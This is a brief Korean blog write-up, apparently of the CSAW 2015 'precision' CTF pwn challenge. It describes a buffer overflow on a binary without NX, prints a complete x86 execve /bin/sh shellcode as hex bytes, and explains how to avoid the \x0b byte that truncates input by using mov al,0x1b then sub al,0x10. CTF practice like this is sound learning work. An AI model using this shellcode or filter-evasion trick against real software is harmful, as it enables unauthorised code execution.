war game/기타 문제(ctf 등)

CSAW-2015 pwn precision 100pt

shnec 2016. 12. 6. 23:38

precision_a8f6f0590c177948fe06c76a1831e650



NX가 없는 문제

짱쉽죵



그냥 버퍼오버플로우 시키는데

쉘코드에 쓸때 주의할점 


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 

이 쉘코드를 썼었는데

저 빨간부분이 mov al,0xb 코드인데

\x0b떄문에 뒤에가 짤려버림

그래서 mov al,0x1b해주고 sub al,0x10넣어주면 된당